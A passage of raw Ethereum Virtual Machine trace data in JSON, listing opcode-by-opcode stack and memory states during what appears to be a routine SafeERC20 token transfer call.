x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7430,"op":"PUSH1","gas":65215,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7432,"op":"SHL","gas":65212,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7433,"op":"SUB","gas":65209,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7434,"op":"DUP6","gas":65206,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7435,"op":"AND","gas":65203,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7436,"op":"EXTCODESIZE","gas":65200,"gasCost":2600,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7437,"op":"PUSH2","gas":62600,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x901"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7440,"op":"JUMPI","gas":62597,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x901","0x1d58"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7512,"op":"JUMPDEST","gas":62587,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7513,"op":"PUSH1","gas":62586,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7515,"op":"DUP1","gas":62583,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7516,"op":"DUP7","gas":62580,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7517,"op":"PUSH1","gas":62577,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7519,"op":"PUSH1","gas":62574,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7521,"op":"PUSH1","gas":62571,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7523,"op":"SHL","gas":62568,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7524,"op":"SUB","gas":62565,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7525,"op":"AND","gas":62562,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7526,"op":"DUP6","gas":62559,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7527,"op":"DUP8","gas":62556,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7528,"op":"PUSH1","gas":62553,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000